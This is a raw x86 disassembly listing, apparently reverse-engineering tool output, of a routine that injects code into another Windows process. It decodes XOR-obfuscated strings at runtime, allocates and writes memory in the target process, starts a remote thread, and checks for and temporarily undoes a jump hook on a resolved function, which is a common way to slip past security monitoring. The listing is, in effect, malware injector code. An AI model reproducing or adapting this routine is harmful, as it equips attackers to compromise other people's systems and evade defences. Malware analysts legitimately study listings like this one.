push eax
lea eax, [ebp - 0x1f40]
mov dword [ebp - 0x1f38], 0x6be37520
push eax
lea ecx, [ebp - 0x31d8]
mov dword [ebp - 0x1f34], 0x684f0dc0
mov dword [ebp - 0x1f30], 0x50f4075c
mov dword [ebp - 0x1f2c], 0xcacb409a
mov dword [ebp - 0x1f28], 0x1e484dba
mov dword [ebp - 0x1f24], 0x258d0dd8
mov dword [ebp - 0x1f20], 0x6ecdfc22
mov dword [ebp - 0x1f1c], 0x85ab61b8
mov dword [ebp - 0x1f18], 0x2c323fc0
mov dword [ebp - 0x1f14], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x1f40]
mov dword [ebp - 0x8a0], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1f70]
mov dword [ebp - 0x89c], 0x53194e0c
push eax
lea ecx, [ebp - 0x31d0]
mov dword [ebp - 0x1f70], 0x1cabbfd3
mov dword [ebp - 0x1f6c], 0x53194e0c
mov dword [ebp - 0x898], 0x88c194c
mov dword [ebp - 0x894], 0xe6f7585
mov dword [ebp - 0x1f68], 0x88c194c
mov dword [ebp - 0x1f64], 0xe6f7585
mov dword [ebp - 0x890], 0x35986e3d
mov dword [ebp - 0x88c], 0xa3bc60fe
mov dword [ebp - 0x1f60], 0x35986e3d
mov dword [ebp - 0x1f5c], 0xa3bc60fe
mov dword [ebp - 0x888], 0x7d6825ce
mov dword [ebp - 0x884], 0x5e869b7
mov dword [ebp - 0x1f58], 0x7d6825ce
mov dword [ebp - 0x1f54], 0x5e869b7
mov dword [ebp - 0x880], 0x6ec79807
mov dword [ebp - 0x87c], 0x85ab61b8
mov dword [ebp - 0x1f50], 0x6ec79807
mov dword [ebp - 0x1f4c], 0x85ab61b8
mov dword [ebp - 0x878], 0x2c323fc0
mov dword [ebp - 0x874], 0x6ee09d91
mov dword [ebp - 0x1f48], 0x2c323fc0
mov dword [ebp - 0x1f44], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x1f70]
mov dword [ebp - 0x10f0], 0x68d9d685
push eax
lea eax, [ebp - 0x1fa0]
mov dword [ebp - 0x10ec], 0x12752f79
push eax
lea ecx, [ebp - 0x31c8]
mov dword [ebp - 0x1fa0], 0x68d9d685
mov dword [ebp - 0x1f9c], 0x12752f79
mov dword [ebp - 0x10e8], 0x6be37520
mov dword [ebp - 0x10e4], 0x684f0dc0
mov dword [ebp - 0x1f98], 0x6be37520
mov dword [ebp - 0x1f94], 0x684f0dc0
mov dword [ebp - 0x10e0], 0x50f4075c
mov dword [ebp - 0x10dc], 0xcacb409a
mov dword [ebp - 0x1f90], 0x50f4075c
mov dword [ebp - 0x1f8c], 0xcacb409a
mov dword [ebp - 0x10d8], 0x1e484dba
mov dword [ebp - 0x10d4], 0x258d0dd8
mov dword [ebp - 0x1f88], 0x1e484dba
mov dword [ebp - 0x1f84], 0x258d0dd8
mov dword [ebp - 0x10d0], 0x6ecdfc22
mov dword [ebp - 0x10cc], 0x85ab61b8
mov dword [ebp - 0x1f80], 0x6ecdfc22
mov dword [ebp - 0x1f7c], 0x85ab61b8
mov dword [ebp - 0x10c8], 0x2c323fc0
mov dword [ebp - 0x10c4], 0x6ee09d91
mov dword [ebp - 0x1f78], 0x2c323fc0
mov dword [ebp - 0x1f74], 0x6ee09d91
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x8a0]
lea eax, [ebp - 0x10f0]
pxor xmm1, xmmword [ebp - 0x10f0]
movaps xmmword [ebp - 0x10f0], xmm1
movaps xmm1, xmmword [ebp - 0x10e0]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x10e0], xmm1
movaps xmm1, xmmword [ebp - 0x10d0]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x10d0], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45d1cf
push 4
push 0x1000
push 0x720
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2bfc], eax
test eax, eax
jne 0x45c1a5
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1fd0], 0x3cf68d88
lea eax, [ebp - 0x1fa0]
mov dword [ebp - 0x1fcc], 0x276b275a
push eax
lea eax, [ebp - 0x1fd0]
mov dword [ebp - 0x1fc8], 0x49e07839
push eax
lea ecx, [ebp - 0x31c0]
mov dword [ebp - 0x1fc4], 0x6d0019e9
mov dword [ebp - 0x1fc0], 0x53b81678
mov dword [ebp - 0x1fbc], 0xc6d0099f
mov dword [ebp - 0x1fb8], 0x141f05aa
mov dword [ebp - 0x1fb4], 0x66c801c3
mov dword [ebp - 0x1fb0], 0x4ea2fc68
mov dword [ebp - 0x1fac], 0x85a1059d
mov dword [ebp - 0x1fa8], 0x2c323fc0
mov dword [ebp - 0x1fa4], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x1fd0]
mov dword [ebp - 0x8a0], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2000]
mov dword [ebp - 0x89c], 0x53194e0c
push eax
lea ecx, [ebp - 0x31b8]
mov dword [ebp - 0x2000], 0x1cabbfd3
mov dword [ebp - 0x1ffc], 0x53194e0c
mov dword [ebp - 0x898], 0x88c194c
mov dword [ebp - 0x894], 0xe6f7585
mov dword [ebp - 0x1ff8], 0x88c194c
mov dword [ebp - 0x1ff4], 0xe6f7585
mov dword [ebp - 0x890], 0x35986e3d
mov dword [ebp - 0x88c], 0xa3bc60fe
mov dword [ebp - 0x1ff0], 0x35986e3d
mov dword [ebp - 0x1fec], 0xa3bc60fe
mov dword [ebp - 0x888], 0x7d6825ce
mov dword [ebp - 0x884], 0x5e869b7
mov dword [ebp - 0x1fe8], 0x7d6825ce
mov dword [ebp - 0x1fe4], 0x5e869b7
mov dword [ebp - 0x880], 0x6ec79807
mov dword [ebp - 0x87c], 0x85ab61b8
mov dword [ebp - 0x1fe0], 0x6ec79807
mov dword [ebp - 0x1fdc], 0x85ab61b8
mov dword [ebp - 0x878], 0x2c323fc0
mov dword [ebp - 0x874], 0x6ee09d91
mov dword [ebp - 0x1fd8], 0x2c323fc0
mov dword [ebp - 0x1fd4], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x2000]
mov dword [ebp - 0x10c0], 0x3cf68d88
push eax
lea eax, [ebp - 0x2030]
mov dword [ebp - 0x10bc], 0x276b275a
push eax
lea ecx, [ebp - 0x31b0]
mov dword [ebp - 0x2030], 0x3cf68d88
mov dword [ebp - 0x202c], 0x276b275a
mov dword [ebp - 0x10b8], 0x49e07839
mov dword [ebp - 0x10b4], 0x6d0019e9
mov dword [ebp - 0x2028], 0x49e07839
mov dword [ebp - 0x2024], 0x6d0019e9
mov dword [ebp - 0x10b0], 0x53b81678
mov dword [ebp - 0x10ac], 0xc6d0099f
mov dword [ebp - 0x2020], 0x53b81678
mov dword [ebp - 0x201c], 0xc6d0099f
mov dword [ebp - 0x10a8], 0x141f05aa
mov dword [ebp - 0x10a4], 0x66c801c3
mov dword [ebp - 0x2018], 0x141f05aa
mov dword [ebp - 0x2014], 0x66c801c3
mov dword [ebp - 0x10a0], 0x4ea2fc68
mov dword [ebp - 0x109c], 0x85a1059d
mov dword [ebp - 0x2010], 0x4ea2fc68
mov dword [ebp - 0x200c], 0x85a1059d
mov dword [ebp - 0x1098], 0x2c323fc0
mov dword [ebp - 0x1094], 0x6ee09d91
mov dword [ebp - 0x2008], 0x2c323fc0
mov dword [ebp - 0x2004], 0x6ee09d91
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x10c0]
lea eax, [ebp - 0x10c0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x10c0], xmm1
movaps xmm1, xmmword [ebp - 0x10b0]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x10b0], xmm1
movaps xmm1, xmmword [ebp - 0x10a0]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x10a0], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45d1cf
push 0
push 0x720
push 0x454430
push dword [ebp - 0x2c00]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x45c4c9
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1b20], 0x68c2cd84
lea eax, [ebp - 0x1af0]
mov dword [ebp - 0x1b1c], 0x3c6b1e69
push eax
lea eax, [ebp - 0x1b20]
mov dword [ebp - 0x1b18], 0x7bff7c2f
push eax
lea ecx, [ebp - 0x31a8]
mov dword [ebp - 0x1b14], 0x610210c8
mov dword [ebp - 0x1b10], 0x53b8174f
mov dword [ebp - 0x1b0c], 0xc6d0099f
mov dword [ebp - 0x1b08], 0x141f05aa
mov dword [ebp - 0x1b04], 0x66c801c3
mov dword [ebp - 0x1b00], 0x4ea2fc68
mov dword [ebp - 0x1afc], 0x85a1059d
mov dword [ebp - 0x1af8], 0x2c323fc0
mov dword [ebp - 0x1af4], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x1b20]
mov dword [ebp - 0x8a0], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1b50]
mov dword [ebp - 0x89c], 0x53194e0c
push eax
lea ecx, [ebp - 0x31a0]
mov dword [ebp - 0x1b50], 0x1cabbfd3
mov dword [ebp - 0x1b4c], 0x53194e0c
mov dword [ebp - 0x898], 0x88c194c
mov dword [ebp - 0x894], 0xe6f7585
mov dword [ebp - 0x1b48], 0x88c194c
mov dword [ebp - 0x1b44], 0xe6f7585
mov dword [ebp - 0x890], 0x35986e3d
mov dword [ebp - 0x88c], 0xa3bc60fe
mov dword [ebp - 0x1b40], 0x35986e3d
mov dword [ebp - 0x1b3c], 0xa3bc60fe
mov dword [ebp - 0x888], 0x7d6825ce
mov dword [ebp - 0x884], 0x5e869b7
mov dword [ebp - 0x1b38], 0x7d6825ce
mov dword [ebp - 0x1b34], 0x5e869b7
mov dword [ebp - 0x880], 0x6ec79807
mov dword [ebp - 0x87c], 0x85ab61b8
mov dword [ebp - 0x1b30], 0x6ec79807
mov dword [ebp - 0x1b2c], 0x85ab61b8
mov dword [ebp - 0x878], 0x2c323fc0
mov dword [ebp - 0x874], 0x6ee09d91
mov dword [ebp - 0x1b28], 0x2c323fc0
mov dword [ebp - 0x1b24], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x1b50]
mov dword [ebp - 0x1090], 0x68c2cd84
push eax
lea eax, [ebp - 0x1b80]
mov dword [ebp - 0x108c], 0x3c6b1e69
push eax
lea ecx, [ebp - 0x3198]
mov dword [ebp - 0x1b80], 0x68c2cd84
mov dword [ebp - 0x1b7c], 0x3c6b1e69
mov dword [ebp - 0x1088], 0x7bff7c2f
mov dword [ebp - 0x1084], 0x610210c8
mov dword [ebp - 0x1b78], 0x7bff7c2f
mov dword [ebp - 0x1b74], 0x610210c8
mov dword [ebp - 0x1080], 0x53b8174f
mov dword [ebp - 0x107c], 0xc6d0099f
mov dword [ebp - 0x1b70], 0x53b8174f
mov dword [ebp - 0x1b6c], 0xc6d0099f
mov dword [ebp - 0x1078], 0x141f05aa
mov dword [ebp - 0x1074], 0x66c801c3
mov dword [ebp - 0x1b68], 0x141f05aa
mov dword [ebp - 0x1b64], 0x66c801c3
mov dword [ebp - 0x1070], 0x4ea2fc68
mov dword [ebp - 0x106c], 0x85a1059d
mov dword [ebp - 0x1b60], 0x4ea2fc68
mov dword [ebp - 0x1b5c], 0x85a1059d
mov dword [ebp - 0x1068], 0x2c323fc0
mov dword [ebp - 0x1064], 0x6ee09d91
mov dword [ebp - 0x1b58], 0x2c323fc0
mov dword [ebp - 0x1b54], 0x6ee09d91
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x1090]
lea eax, [ebp - 0x1090]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1090], xmm1
movaps xmm1, xmmword [ebp - 0x1080]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1080], xmm1
movaps xmm1, xmmword [ebp - 0x1070]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x1070], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45d1cf
push 0
push 0x720
lea eax, [ebp - 0x2a50]
push eax
push dword [ebp - 0x2bfc]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x45c7ef
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1bb0], 0x68c2cd84
lea eax, [ebp - 0x1b80]
mov dword [ebp - 0x1bac], 0x3c6b1e69
push eax
lea eax, [ebp - 0x1bb0]
mov dword [ebp - 0x1ba8], 0x7bff7c2f
push eax
lea ecx, [ebp - 0x3190]
mov dword [ebp - 0x1ba4], 0x610210c8
mov dword [ebp - 0x1ba0], 0x53b8174f
mov dword [ebp - 0x1b9c], 0xc6d0099f
mov dword [ebp - 0x1b98], 0x141f05aa
mov dword [ebp - 0x1b94], 0x66c801c3
mov dword [ebp - 0x1b90], 0x4ea2fc68
mov dword [ebp - 0x1b8c], 0x85a1059d
mov dword [ebp - 0x1b88], 0x2c323fc0
mov dword [ebp - 0x1b84], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x1bb0]
mov dword [ebp - 0x8a0], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1be0]
mov dword [ebp - 0x89c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3188]
mov dword [ebp - 0x1be0], 0x1cabbfd3
mov dword [ebp - 0x1bdc], 0x53194e0c
mov dword [ebp - 0x898], 0x88c194c
mov dword [ebp - 0x894], 0xe6f7585
mov dword [ebp - 0x1bd8], 0x88c194c
mov dword [ebp - 0x1bd4], 0xe6f7585
mov dword [ebp - 0x890], 0x35986e3d
mov dword [ebp - 0x88c], 0xa3bc60fe
mov dword [ebp - 0x1bd0], 0x35986e3d
mov dword [ebp - 0x1bcc], 0xa3bc60fe
mov dword [ebp - 0x888], 0x7d6825ce
mov dword [ebp - 0x884], 0x5e869b7
mov dword [ebp - 0x1bc8], 0x7d6825ce
mov dword [ebp - 0x1bc4], 0x5e869b7
mov dword [ebp - 0x880], 0x6ec79807
mov dword [ebp - 0x87c], 0x85ab61b8
mov dword [ebp - 0x1bc0], 0x6ec79807
mov dword [ebp - 0x1bbc], 0x85ab61b8
mov dword [ebp - 0x878], 0x2c323fc0
mov dword [ebp - 0x874], 0x6ee09d91
mov dword [ebp - 0x1bb8], 0x2c323fc0
mov dword [ebp - 0x1bb4], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x1be0]
mov dword [ebp - 0x1060], 0x68c2cd84
push eax
lea eax, [ebp - 0x1c10]
mov dword [ebp - 0x105c], 0x3c6b1e69
push eax
lea ecx, [ebp - 0x3180]
mov dword [ebp - 0x1c10], 0x68c2cd84
mov dword [ebp - 0x1c0c], 0x3c6b1e69
mov dword [ebp - 0x1058], 0x7bff7c2f
mov dword [ebp - 0x1054], 0x610210c8
mov dword [ebp - 0x1c08], 0x7bff7c2f
mov dword [ebp - 0x1c04], 0x610210c8
mov dword [ebp - 0x1050], 0x53b8174f
mov dword [ebp - 0x104c], 0xc6d0099f
mov dword [ebp - 0x1c00], 0x53b8174f
mov dword [ebp - 0x1bfc], 0xc6d0099f
mov dword [ebp - 0x1048], 0x141f05aa
mov dword [ebp - 0x1044], 0x66c801c3
mov dword [ebp - 0x1bf8], 0x141f05aa
mov dword [ebp - 0x1bf4], 0x66c801c3
mov dword [ebp - 0x1040], 0x4ea2fc68
mov dword [ebp - 0x103c], 0x85a1059d
mov dword [ebp - 0x1bf0], 0x4ea2fc68
mov dword [ebp - 0x1bec], 0x85a1059d
mov dword [ebp - 0x1038], 0x2c323fc0
mov dword [ebp - 0x1034], 0x6ee09d91
mov dword [ebp - 0x1be8], 0x2c323fc0
mov dword [ebp - 0x1be4], 0x6ee09d91
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x1060]
lea eax, [ebp - 0x1060]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1060], xmm1
movaps xmm1, xmmword [ebp - 0x1050]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1050], xmm1
movaps xmm1, xmmword [ebp - 0x1040]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x1040], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45d1cf
lea eax, [ebp - 0x1970]
mov dword [ebp - 0x1990], 0x55d9db9f
push eax
lea eax, [ebp - 0x1990]
mov dword [ebp - 0x198c], 0x3a6d2762
push eax
lea ecx, [ebp - 0x3178]
mov dword [ebp - 0x1988], 0x72e5752d
mov dword [ebp - 0x1984], 0x7b0721e0
mov dword [ebp - 0x1980], 0x35980553
mov dword [ebp - 0x197c], 0xa3bc60fe
mov dword [ebp - 0x1978], 0x7d6825ce
mov dword [ebp - 0x1974], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1950]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1970]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3170]
mov dword [ebp - 0x1970], 0x1cabbfd3
mov dword [ebp - 0x196c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x1968], 0x88c194c
mov dword [ebp - 0x1964], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x1960], 0x35986e3d
mov dword [ebp - 0x195c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x1958], 0x7d6825ce
mov dword [ebp - 0x1954], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1930]
mov dword [ebp - 0xd50], 0x55d9db9f
push eax
lea eax, [ebp - 0x1950]
mov dword [ebp - 0xd4c], 0x3a6d2762
push eax
lea ecx, [ebp - 0x3168]
mov dword [ebp - 0x1950], 0x55d9db9f
mov dword [ebp - 0x194c], 0x3a6d2762
mov dword [ebp - 0xd48], 0x72e5752d
mov dword [ebp - 0xd44], 0x7b0721e0
mov dword [ebp - 0x1948], 0x72e5752d
mov dword [ebp - 0x1944], 0x7b0721e0
mov dword [ebp - 0xd40], 0x35980553
mov dword [ebp - 0xd3c], 0xa3bc60fe
mov dword [ebp - 0x1940], 0x35980553
mov dword [ebp - 0x193c], 0xa3bc60fe
mov dword [ebp - 0xd38], 0x7d6825ce
mov dword [ebp - 0xd34], 0x5e869b7
mov dword [ebp - 0x1938], 0x7d6825ce
mov dword [ebp - 0x1934], 0x5e869b7
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xd50]
lea eax, [ebp - 0x2c28]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3160]
movaps xmmword [ebp - 0xd50], xmm1
movaps xmm1, xmmword [ebp - 0xd40]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2c38]
movaps xmmword [ebp - 0xd40], xmm1
push eax
mov dword [ebp - 0x2c38], 0x70cfcbbd
mov dword [ebp - 0x2c34], 0x3f7d6060
mov dword [ebp - 0x2c30], 0x88c1920
mov dword [ebp - 0x2c2c], 0xe6f7585
call fcn.0045f980
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x2c48], 0x1cabbfd3
mov dword [ebp - 0x2c44], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2c40], 0x88c194c
lea eax, [ebp - 0x2c38]
mov dword [ebp - 0x2c3c], 0xe6f7585
push eax
lea eax, [ebp - 0x2c48]
push eax
lea ecx, [ebp - 0x3158]
call fcn.0045f980
lea eax, [ebp - 0x2c48]
mov dword [ebp - 0xaf0], 0x70cfcbbd
push eax
lea eax, [ebp - 0x2c58]
mov dword [ebp - 0xaec], 0x3f7d6060
push eax
lea ecx, [ebp - 0x3150]
mov dword [ebp - 0x2c58], 0x70cfcbbd
mov dword [ebp - 0x2c54], 0x3f7d6060
mov dword [ebp - 0xae8], 0x88c1920
mov dword [ebp - 0xae4], 0xe6f7585
mov dword [ebp - 0x2c50], 0x88c1920
mov dword [ebp - 0x2c4c], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xaf0]
lea eax, [ebp - 0xaf0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xaf0], xmm1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0xd50]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 5
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x2bf4], eax
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [ebp - 0x1c], 0xe9
jne 0x45cb70
mov eax, dword [ebp - 0x2bf4]
push 0
push 5
push eax
push eax
push esi
mov byte [ebp - 0x2be5], 1
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push dword [ebp - 0x2bfc]
push dword [ebp - 0x2c00]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x2bf0], eax
test eax, eax
jne 0x45cec3
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1c40], 0x7dcecd90
lea eax, [ebp - 0x1c10]
mov dword [ebp - 0x1c3c], 0x364b2b78
push eax
lea eax, [ebp - 0x1c40]
mov dword [ebp - 0x1c38], 0x6df87621
push eax
lea ecx, [ebp - 0x3148]
mov dword [ebp - 0x1c34], 0x6b1d1dd1
mov dword [ebp - 0x1c30], 0x53b80a5c
mov dword [ebp - 0x1c2c], 0xc6d0099f
mov dword [ebp - 0x1c28], 0x141f05aa
mov dword [ebp - 0x1c24], 0x66c801c3
mov dword [ebp - 0x1c20], 0x4ea2fc68
mov dword [ebp - 0x1c1c], 0x85a1059d
mov dword [ebp - 0x1c18], 0x2c323fc0
mov dword [ebp - 0x1c14], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x1c40]
mov dword [ebp - 0x8a0], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1c70]
mov dword [ebp - 0x89c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3140]
mov dword [ebp - 0x1c70], 0x1cabbfd3
mov dword [ebp - 0x1c6c], 0x53194e0c
mov dword [ebp - 0x898], 0x88c194c
mov dword [ebp - 0x894], 0xe6f7585
mov dword [ebp - 0x1c68], 0x88c194c
mov dword [ebp - 0x1c64], 0xe6f7585
mov dword [ebp - 0x890], 0x35986e3d
mov dword [ebp - 0x88c], 0xa3bc60fe
mov dword [ebp - 0x1c60], 0x35986e3d
mov dword [ebp - 0x1c5c], 0xa3bc60fe
mov dword [ebp - 0x888], 0x7d6825ce
mov dword [ebp - 0x884], 0x5e869b7
mov dword [ebp - 0x1c58], 0x7d6825ce
mov dword [ebp - 0x1c54], 0x5e869b7
mov dword [ebp - 0x880], 0x6ec79807
mov dword [ebp - 0x87c], 0x85ab61b8
mov dword [ebp - 0x1c50], 0x6ec79807
mov dword [ebp - 0x1c4c], 0x85ab61b8
mov dword [ebp - 0x878], 0x2c323fc0
mov dword [ebp - 0x874], 0x6ee09d91
mov dword [ebp - 0x1c48], 0x2c323fc0
mov dword [ebp - 0x1c44], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x1d00]
mov dword [ebp - 0x1030], 0x7dcecd90
push eax
lea eax, [ebp - 0x1d30]
mov dword [ebp - 0x102c], 0x364b2b78
push eax
lea ecx, [ebp - 0x3138]
mov dword [ebp - 0x1d30], 0x7dcecd90
mov dword [ebp - 0x1d2c], 0x364b2b78
mov dword [ebp - 0x1028], 0x6df87621
mov dword [ebp - 0x1024], 0x6b1d1dd1
mov dword [ebp - 0x1d28], 0x6df87621
mov dword [ebp - 0x1d24], 0x6b1d1dd1
mov dword [ebp - 0x1020], 0x53b80a5c
mov dword [ebp - 0x101c], 0xc6d0099f
mov dword [ebp - 0x1d20], 0x53b80a5c
mov dword [ebp - 0x1d1c], 0xc6d0099f
mov dword [ebp - 0x1018], 0x141f05aa
mov dword [ebp - 0x1014], 0x66c801c3
mov dword [ebp - 0x1d18], 0x141f05aa
mov dword [ebp - 0x1d14], 0x66c801c3
mov dword [ebp - 0x1010], 0x4ea2fc68
mov dword [ebp - 0x100c], 0x85a1059d
mov dword [ebp - 0x1d10], 0x4ea2fc68
mov dword [ebp - 0x1d0c], 0x85a1059d
mov dword [ebp - 0x1008], 0x2c323fc0
mov dword [ebp - 0x1004], 0x6ee09d91
mov dword [ebp - 0x1d08], 0x2c323fc0
mov dword [ebp - 0x1d04], 0x6ee09d91
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x1030]
lea eax, [ebp - 0x1030]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1030], xmm1
movaps xmm1, xmmword [ebp - 0x1020]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1020], xmm1
movaps xmm1, xmmword [ebp - 0x1010]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x1010], xmm1
call fcn.0044b300
add esp, 8
cmp byte [ebp - 0x2be5], 0
je 0x45d1cf
push 0
push 5
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x2bf4]
push dword [ebp - 0x2bf8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x45d1cf
push 0x2bf20
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
mov dword [ebp - 0x2bec], eax
call edi
cmp byte [ebp - 0x2be5], 0
je 0x45cf00
push 0
push 5
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x2bf4]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x2c04]
push eax
push dword [ebp - 0x2bf0]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 0x2bec]
cmp eax, 0x102
je 0x45cf72
cmp eax, 0x80
je 0x45cf72
mov eax, dword [ebp - 0x2c04]
test eax, eax
je 0x45cf72
cmp eax, 0xffffffff
je 0x45cf72
push 0x2710
call edi
push 0x8000
push 0
push dword [ebp - 0x2c00]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push 0
push dword [ebp - 0x2bfc]
push dword [ebp - 0x2bf8]
call esi
call fcn.0044d800
jmp 0x4580c6
push dword [ebp - 0x2bf0]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0x8000
push 0
push dword [ebp - 0x2c00]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push 0
push dword [ebp - 0x2bfc]
push dword [ebp - 0x2bf8]
call esi
push dword [ebp - 0x2bf8]
call edi
lea eax, [ebp - 0x1910]
mov dword [ebp - 0x1930], 0x79c1d19a
push eax
lea eax, [ebp - 0x1930]
mov dword [ebp - 0x192c], 0x32393a6f
push eax
lea ecx, [ebp - 0x3130]
mov dword [ebp - 0x1928], 0x65e96d38
mov dword [ebp - 0x1924], 0x684f01f5
mov dword [ebp - 0x1920], 0x50f4075c
mov dword [ebp - 0x191c], 0xa3bc6a9a
mov dword [ebp - 0x1918], 0x7d6825ce
mov dword [ebp - 0x1914], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x18f0]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1910]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x30f0]
mov dword [ebp - 0x1910], 0x1cabbfd3
mov dword [ebp - 0x190c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x1908], 0x88c194c
mov dword [ebp - 0x1904], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x1900], 0x35986e3d
mov dword [ebp - 0x18fc], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x18f8], 0x7d6825ce
mov dword [ebp - 0x18f4], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x18d0]
mov dword [ebp - 0xd70], 0x79c1d19a
push eax
lea eax, [ebp - 0x18f0]
mov dword [ebp - 0xd6c], 0x32393a6f
push eax
lea ecx, [ebp - 0x3128]
mov dword [ebp - 0x18f0], 0x79c1d19a
mov dword [ebp - 0x18ec], 0x32393a6f
mov dword [ebp - 0xd68], 0x65e96d38
mov dword [ebp - 0xd64], 0x684f01f5
mov dword [ebp - 0x18e8], 0x65e96d38
mov dword [ebp - 0x18e4], 0x684f01f5
mov dword [ebp - 0xd60], 0x50f4075c
mov dword [ebp - 0xd5c], 0xa3bc6a9a
mov dword [ebp - 0x18e0], 0x50f4075c
mov dword [ebp - 0x18dc], 0xa3bc6a9a
mov dword [ebp - 0xd58], 0x7d6825ce
mov dword [ebp - 0xd54], 0x5e869b7
